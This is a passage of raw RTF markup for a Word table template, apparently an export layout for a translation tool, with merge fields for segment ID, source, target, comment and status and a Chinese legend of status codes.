\fs20\lang1033\langfe2052\loch\f0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 \sbasedon11 \snext15 \styrsid7231073 +Table Grid;}{\*\cs16 \additive \rtlch\fcs1 \af0 \ltrch\fcs0 \ul\cf2 \sbasedon10 \styrsid5069513 Hyperlink;}{\s17\qc \li0\ri0\nowidctlpar\brdrb\brdrs\brdrw15\brsp20 +\tqc\tx4153\tqr\tx8306\wrapdefault\aspalpha\aspnum\faauto\nosnaplinegrid\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs18\alang1025 \ltrch\fcs0 \fs18\lang1033\langfe2052\kerning2\loch\f0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 +\sbasedon0 \snext17 \slink18 \ssemihidden \sunhideused \styrsid11081531 header;}{\*\cs18 \additive \rtlch\fcs1 \af0\afs18 \ltrch\fcs0 \fs18 \sbasedon10 \slink17 \slocked \ssemihidden \styrsid11081531 \'d2\'b3\'c3\'bc Char;}{\s19\ql \li0\ri0\nowidctlpar +\tqc\tx4153\tqr\tx8306\wrapdefault\aspalpha\aspnum\faauto\nosnaplinegrid\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs18\alang1025 \ltrch\fcs0 \fs18\lang1033\langfe2052\kerning2\loch\f0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 +\sbasedon0 \snext19 \slink20 \ssemihidden \sunhideused \styrsid11081531 footer;}{\*\cs20 \additive \rtlch\fcs1 \af0\afs18 \ltrch\fcs0 \fs18 \sbasedon10 \slink19 \slocked \ssemihidden \styrsid11081531 \'d2\'b3\'bd\'c5 Char;}}{\*\rsidtbl \rsid599877 +\rsid608150\rsid1255587\rsid2698375\rsid2892456\rsid3934581\rsid3936425\rsid4081155\rsid4416445\rsid5069513\rsid5196498\rsid5662041\rsid5771882\rsid5840819\rsid6312964\rsid6377614\rsid6840796\rsid6968359\rsid7231073\rsid7690906\rsid8342235\rsid8349372 +\rsid9201643\rsid9263924\rsid9456007\rsid9526854\rsid9962071\rsid10704782\rsid10760902\rsid11081531\rsid11083745\rsid11087189\rsid11414715\rsid11560315\rsid11737115\rsid11746903\rsid12479908\rsid12588362\rsid12613898\rsid12715023\rsid13008020\rsid13137282 +\rsid13182432\rsid13967210\rsid14033508\rsid14424044\rsid15869228\rsid16452716\rsid16723424}{\mmathPr\mmathFont34\mbrkBin0\mbrkBinSub0\msmallFrac0\mdispDef1\mlMargin0\mrMargin0\mdefJc1\mwrapIndent1440\mintLim0\mnaryLim1}{\info{\author a} +{\operator Peason Guo}{\creatim\yr2012\mo2\dy20\hr18\min42}{\revtim\yr2012\mo10\dy30\hr14\min53}{\version39}{\edmins54}{\nofpages1}{\nofwords94}{\nofchars569}{\*\company a}{\nofcharsws662}{\vern32859}}{\*\xmlnstbl {\xmlns1 http://schemas.microsoft.com/off +ice/word/2003/wordml}}\paperw11906\paperh16838\margl1800\margr1800\margt1440\margb1440\gutter0\ltrsect +\deftab420\ftnbj\aenddoc\trackmoves1\trackformatting1\donotembedsysfont0\relyonvml0\donotembedlingdata1\grfdocevents0\validatexml0\showplaceholdtext0\ignoremixedcontent0\saveinvalidxml0\showxmlerrors0\hyphcaps0\formshade\horzdoc\dgmargin\dghspace180 +\dgvspace156\dghorigin1800\dgvorigin1440\dghshow0\dgvshow2\jcompress\ksulang2052\lnongrid +\viewkind1\viewscale130\splytwnine\ftnlytwnine\htmautsp\useltbaln\alntblind\lytcalctblwd\lyttblrtgr\lnbrkrule\nobrkwrptbl\snaptogridincell\allowfieldendsel\wrppunct\asianbrkrule\rsidroot11087189\newtblstyruls\nogrowautofit {\*\fchars +!),.:\'3b?]\'7d\'a1\'a7\'a1\'a4\'a1\'a6\'a1\'a5\'a8\'44\'a1\'ac\'a1\'af\'a1\'b1\'a1\'ad\'a1\'c3\'a1\'a2\'a1\'a3\'a1\'a8\'a1\'a9\'a1\'b5\'a1\'b7\'a1\'b9\'a1\'bb\'a1\'bf\'a1\'b3\'a1\'bd\'a3\'a1\'a3\'a2\'a3\'a7\'a3\'a9\'a3\'ac\'a3\'ae\'a3\'ba\'a3\'bb\'a3\'bf\'a3\'dd\'a3\'e0\'a3\'fc\'a3\'fd\'a1\'ab\'a1\'e9 +}{\*\lchars ([\'7b\'a1\'a4\'a1\'ae\'a1\'b0\'a1\'b4\'a1\'b6\'a1\'b8\'a1\'ba\'a1\'be\'a1\'b2\'a1\'bc\'a3\'a8\'a3\'ae\'a3\'db\'a3\'fb\'a1\'ea\'a3\'a4}\fet0{\*\wgrffmtfilter 2450}\ilfomacatclnup0{\*\ftnsep \ltrpar \pard\plain \ltrpar +\qj \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid11081531 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 \fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 { +\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid11081531 \chftnsep +\par }}{\*\ftnsepc \ltrpar \pard\plain \ltrpar\qj \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid11081531 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 +\fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid11081531 \chftnsepc +\par }}{\*\aftnsep \ltrpar \pard\plain \ltrpar\qj \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid11081531 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 +\fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid11081531 \chftnsep +\par }}{\*\aftnsepc \ltrpar \pard\plain \ltrpar\qj \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid11081531 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 +\fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid11081531 \chftnsepc +\par }}\ltrpar \sectd \ltrsect\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\*\pnseclvl1\pnucrm\pnstart1\pnindent720\pnhang {\pntxta \dbch .}}{\*\pnseclvl2\pnucltr\pnstart1\pnindent720\pnhang {\pntxta \dbch .}} +{\*\pnseclvl3\pndec\pnstart1\pnindent720\pnhang {\pntxta \dbch .}}{\*\pnseclvl4\pnlcltr\pnstart1\pnindent720\pnhang {\pntxta \dbch )}}{\*\pnseclvl5\pndec\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl6 +\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl7\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl8\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl9 +\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}\ltrrow\trowd \irow0\irowband0\ltrrow\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 +\trbrdrv\brdrs\brdrw10 \trftsWidth1\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid15869228\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrnone \clbrdrl +\brdrnone \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrnone \cltxlrtb\clftsWidth3\clwWidth8522\clshdrawnil \cellx8414\pard\plain \ltrpar\ql \li0\ri0\nowidctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid10760902\yts15 \rtlch\fcs1 +\af0\afs20\alang1025 \ltrch\fcs0 \fs20\lang1033\langfe2052\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid10760902\charrsid10760902 \loch\af0\hich\af0\dbch\f13 \'b1\'ed\'b8\'f1}{ +\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid10760902\charrsid10760902 \hich\af0\dbch\af13\loch\f0 Status }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid10760902\charrsid10760902 \loch\af0\hich\af0\dbch\f13 \'c1\'d0 +\'b5\'c4\'d6\'b5\'d3\'eb\'ce\'c4\'b1\'be\'b6\'ce\'d7\'b4\'cc\'ac\'b5\'c4\'b6\'d4\'d3\'a6\'b9\'d8\'cf\'b5\loch\af0\hich\af0\dbch\f13 \'a3\'a8\loch\af0\hich\af0\dbch\f13 \'d3\'d0\'b6\'e0\'d6\'d6\'d7\'b4\'cc\'ac\'b2\'a2\'b4\'e6\'ca\'b1\'a3\'ac\'d2\'d4}{ +\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid10760902\charrsid10760902 \hich\af0\dbch\af13\loch\f0 & }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid10760902\charrsid10760902 \loch\af0\hich\af0\dbch\f13 \'c1\'ac\'bd\'d3 +\loch\af0\hich\af0\dbch\f13 \'a3\'a9\loch\af0\hich\af0\dbch\f13 \'a3\'ba}{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid10760902\charrsid10760902 +\par \hich\af0\dbch\af13\loch\f0 0 - }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid10760902\charrsid10760902 \loch\af0\hich\af0\dbch\f13 \'ce\'b4\'b7\'ad\'d2\'eb\'a3\'ac}{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 +\fs15\cf6\kerning2\insrsid10760902\charrsid10760902 \hich\af0\dbch\af13\loch\f0 1 - }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid10760902\charrsid10760902 \loch\af0\hich\af0\dbch\f13 \'b2\'dd\'b8\'e5\'a3\'ac}{\rtlch\fcs1 \af13\afs15 +\ltrch\fcs0 \fs15\cf6\kerning2\insrsid10760902\charrsid10760902 \hich\af0\dbch\af13\loch\f0 2 - }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid10760902\charrsid10760902 \loch\af0\hich\af0\dbch\f13 \'d2\'d1\'b7\'ad\'d2\'eb\'a3\'ac}{ +\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid10760902\charrsid10760902 \hich\af0\dbch\af13\loch\f0 3 - }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid10760902\charrsid10760902 \loch\af0\hich\af0\dbch\f13 \'d2\'d1\'c5\'fa +\'d7\'bc\'a3\'ac}{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid10760902\charrsid10760902 \hich\af0\dbch\af13\loch\f0 4 - }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid10760902\charrsid10760902 +\loch\af0\hich\af0\dbch\f13 \'d2\'d1\'c7\'a9\'b7\'a2\'a3\'ac}{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid10760902\charrsid10760902 \hich\af0\dbch\af13\loch\f0 7 - }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 +\fs15\cf6\kerning2\insrsid10760902\charrsid10760902 \loch\af0\hich\af0\dbch\f13 \'d2\'d1\'cb\'f8\'b6\'a8\'a3\'ac}{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid10760902\charrsid10760902 \hich\af0\dbch\af13\loch\f0 8 - }{\rtlch\fcs1 +\af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid10760902\charrsid10760902 \loch\af0\hich\af0\dbch\f13 \'b2\'bb\'cc\'ed\'bc\'d3\'b5\'bd\'bc\'c7\'d2\'e4\'bf\'e2\'a3\'ac}{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 +\fs15\cf6\kerning2\insrsid10760902\charrsid10760902 \hich\af0\dbch\af13\loch\f0 9 - }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid10760902\charrsid10760902 \loch\af0\hich\af0\dbch\f13 \'d3\'d0\'d2\'c9\'ce\'ca\'a1\'a3}{\rtlch\fcs1 +\ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid5840819 \cell }\pard\plain \ltrpar\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 +\fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\insrsid5840819\charrsid9201643 \trowd \irow0\irowband0\ltrrow\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 +\trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth1\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid15869228\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrnone \clbrdrl\brdrnone \clbrdrb +\brdrs\brdrw10 \clbrdrr\brdrnone \cltxlrtb\clftsWidth3\clwWidth8522\clshdrawnil \cellx8414\row \ltrrow}\trowd \irow1\irowband1\ltrrow\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 +\trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 \trftsWidth1\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 +\clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1008\clcbpatraw18 \cellx900\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\clcbpat18\cltxlrtb\clftsWidth3\clwWidth2340\clcbpatraw18 \cellx3240\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth2520\clcbpatraw18 \cellx5760\clvertalt +\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1620\clcbpatraw18 \cellx7380\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr +\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1034\clcbpatraw18 \cellx8414\pard\plain \ltrpar\ql \li0\ri0\nowidctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid9201643\yts15 \rtlch\fcs1 \af0\afs20\alang1025 +\ltrch\fcs0 \fs20\lang1033\langfe2052\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\field\fldedit{\*\fldinst {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 + MERGEFIELD $header_id \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $header_id}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid11083745\charrsid9201643 \cell }{\field\fldedit{\*\fldinst {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 +\b\f38\fs18\kerning2\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 MERGEFIELD $header_source \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 +\b\f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $header_source}}}\sectd \ltrsect\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \ab\af38\afs18 +\ltrch\fcs0 \b\f38\fs18\kerning2\insrsid11083745\charrsid9201643 \cell }{\field\fldedit{\*\fldinst {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 MERGEFIELD $header_target \\ +* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $header_target}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid11083745\charrsid9201643 \cell }{\field\fldedit{\*\fldinst {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 +\b\f38\fs18\kerning2\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 MERGEFIELD $header_comment \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 +\b\f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $header_comment}}}\sectd \ltrsect\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 +\ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid11083745\charrsid9201643 \cell }{\field\fldedit{\*\fldinst {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 + MERGEFIELD $header_status \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $header_status}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid11083745\charrsid9201643 \cell }\pard\plain \ltrpar +\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 \fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af38\afs18 +\ltrch\fcs0 \f38\fs18\insrsid11083745\charrsid9201643 \trowd \irow1\irowband1\ltrrow\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth1\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 +\clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1008\clcbpatraw18 \cellx900\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth2340\clcbpatraw18 +\cellx3240\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth2520\clcbpatraw18 \cellx5760\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb +\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1620\clcbpatraw18 \cellx7380\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\clcbpat18\cltxlrtb\clftsWidth3\clwWidth1034\clcbpatraw18 \cellx8414\row \ltrrow}\trowd \irow2\irowband2\lastrow \ltrrow\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh +\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 \trftsWidth1\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl +\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1008\clshdrawnil \cellx900\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\cltxlrtb\clftsWidth3\clwWidth2340\clshdrawnil \cellx3240\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth2520\clshdrawnil \cellx5760\clvertalt\clbrdrt\brdrs\brdrw10 +\clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1620\clshdrawnil \cellx7380\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\cltxlrtb\clftsWidth3\clwWidth1034\clshdrawnil \cellx8414\pard\plain \ltrpar\ql \li0\ri0\nowidctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid3936425\yts15 \rtlch\fcs1 \af0\afs20\alang1025 \ltrch\fcs0 +\fs20\lang1033\langfe2052\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\field\fldedit{\*\fldinst {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 MERGEFIELD $es.Id \\ +* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $es.Id}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid11083745\charrsid9201643 \cell }\pard \ltrpar +\ql \li0\ri0\nowidctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid9201643\yts15 {\field\fldedit{\*\fldinst {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 + MERGEFIELD $es.Source \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $es.Source}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid11083745\charrsid9201643 \cell }\pard \ltrpar +\ql \li0\ri0\nowidctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid3936425\yts15 {\field\fldedit{\*\fldinst {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 + MERGEFIELD $es.Target \\* MERGEFORMAT\hich\af38\dbch\af13\loch\f38 }}{\fldrslt {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $es.Target}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid11083745\charrsid9201643 \cell }\pard \ltrpar +\ql \li0\ri0\nowidctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid9201643\yts15 {\field\fldedit{\*\fldinst {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 + MERGEFIELD $es.Comment \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $es.Comment}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid11083745\charrsid9201643 \cell }{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 +\f38\fs18\kerning2\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 MERGEFIELD $es.Status \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid11083745\charrsid9201643 +\hich\af38\dbch\af13\loch\f38 $es.Status}}}\sectd \ltrsect\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid11083745\charrsid9201643 \cell +}\pard\plain \ltrpar\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 \fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 { +\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\insrsid11083745\charrsid9201643 \trowd \irow2\irowband2\lastrow \ltrrow\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh +\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 